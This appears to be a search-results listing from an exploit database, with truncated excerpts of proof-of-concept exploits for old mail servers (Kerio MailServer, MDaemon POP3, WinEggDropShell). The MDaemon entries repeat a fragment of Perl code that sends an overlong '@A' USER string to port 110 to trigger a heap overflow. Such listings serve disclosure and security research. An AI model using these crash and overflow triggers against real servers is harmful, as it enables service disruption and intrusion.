249 matches found
Kerio MailServer 6.2.2 preauth Remote Denial of Service PoC
Exploit for linux platform in category dos / poc =========================================================== Kerio MailServer 6.2.2 preauth Remote Denial of Service PoC =========================================================== !/usr/bin/env python kms1.py - Kerio MailServer 6.2.2 preauth remote...
Kerio MailServer 6.2.2 preauth Remote Denial of Service PoC
No description provided by source. !/usr/bin/env python kms1.py - Kerio MailServer 6.2.2 preauth remote DoS fixed in Kerio MailServer 6.3.1 Copyright c 2006 Evgeny Legerov Permission to use, copy, modify, and distribute this software for any purpose with or without fee is hereby granted, provided...
MDaemon POP3服务器预认证远程溢出漏洞
Alt-N MDaemon是一款基于Windows的邮件服务程序。 MDaemon POP3服务器在处理USER和APOP命令时存在缓冲区溢出漏洞。如果向USER或APOP命令发送了包含有“@”字符的超长字符串的话,就会触发这个漏洞,导致堆溢出。如果要利用这个漏洞,必须向POP3服务器发送多个USER命令。成功利用这个漏洞的攻击者可能会执行任意代码,具体取决于堆的状态及字符串的长度。 Alt-N MDaemon 9.06 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: http://www.altn.com PoC for Mdaemon POP3 preauth...
mdaemon_poc.txt
PoC for Mdaemon POP3 preauth heap overflow Coded by Leon Juranic Infigo IS $host = '192.168.0.105'; use IO::Socket; for $x = 0 ; $x $host,PeerPort = '110', Proto = 'tcp' || die "socket error\n\n"; recv $sock, $var, 10000,0; print $var; print $sock "USER " . "@A" x 160 . "\r\n"; recv $sock, $var,...
MDaemon POP3 Server < 9.06 - 'USER' Remote Buffer Overflow (PoC)
PoC for Mdaemon POP3 preauth heap overflow Coded by Leon Juranic Infigo IS $host = '192.168.0.105'; use IO::Socket; for $x = 0 ; $x $host,PeerPort = '110', Proto = 'tcp' || die "socket error\n\n"; recv $sock, $var, 10000,0; print $var; print $sock "USER " . "@A" x 160 . "\r\n"; recv $sock, $var,...
MDaemon POP3 Server < 9.06 (USER) Remote Buffer Overflow PoC
No description provided by source. PoC for Mdaemon POP3 preauth heap overflow Coded by Leon Juranic [email protected] Infigo IS http://www.infigo.hr $host = '192.168.0.105'; use IO::Socket; for $x = 0 ; $x 12 ; $x++ $sock = new IO::Socket::INET PeerAddr = $host,PeerPort = '110', Proto = 'tcp...
MDaemon POP3 Server 9.06 - USER Remote Buffer Overflow (PoC)
MDaemon POP3 Server 9.06 - USER Remote Buffer Overflow PoC PoC for Mdaemon POP3 preauth heap overflow Coded by Leon Juranic Infigo IS $host = '192.168.0.105'; use IO::Socket; for $x = 0 ; $x $host,PeerPort = '110', Proto = 'tcp' || die "socket error\n\n"; recv $sock, $var, 10000,0; print $var;...
[Full-disclosure] Kerio MailServer bugfun
Hi, It should be noted that ProtoVer Sample IMAP testsuite has been released with 3 unpublished bugs. Now it looks like that Kerio MailServer preauth bug has been fixed. Kerio MailServer 6.1.3 changelog: """ Version 6.1.3 Patch 1 - March 9, 2006 - Fixed possible crash when handling special crafte...
WinEggDropShell 1.7 Multiple PreAuth Remote Stack Overflow PoC
No description provided by source. WinEggDropShell Multipe PreAuth Remote Stack Overflow PoC HTTP Server "GET" && FTP Server "USER" "PASS" command Bug Discoverd and coded by Sowhat Greetingz to killer,baozi,Darkeagle,all 0x557 and XFocus guys....; http://secway.org 2005-10-11 Affected:...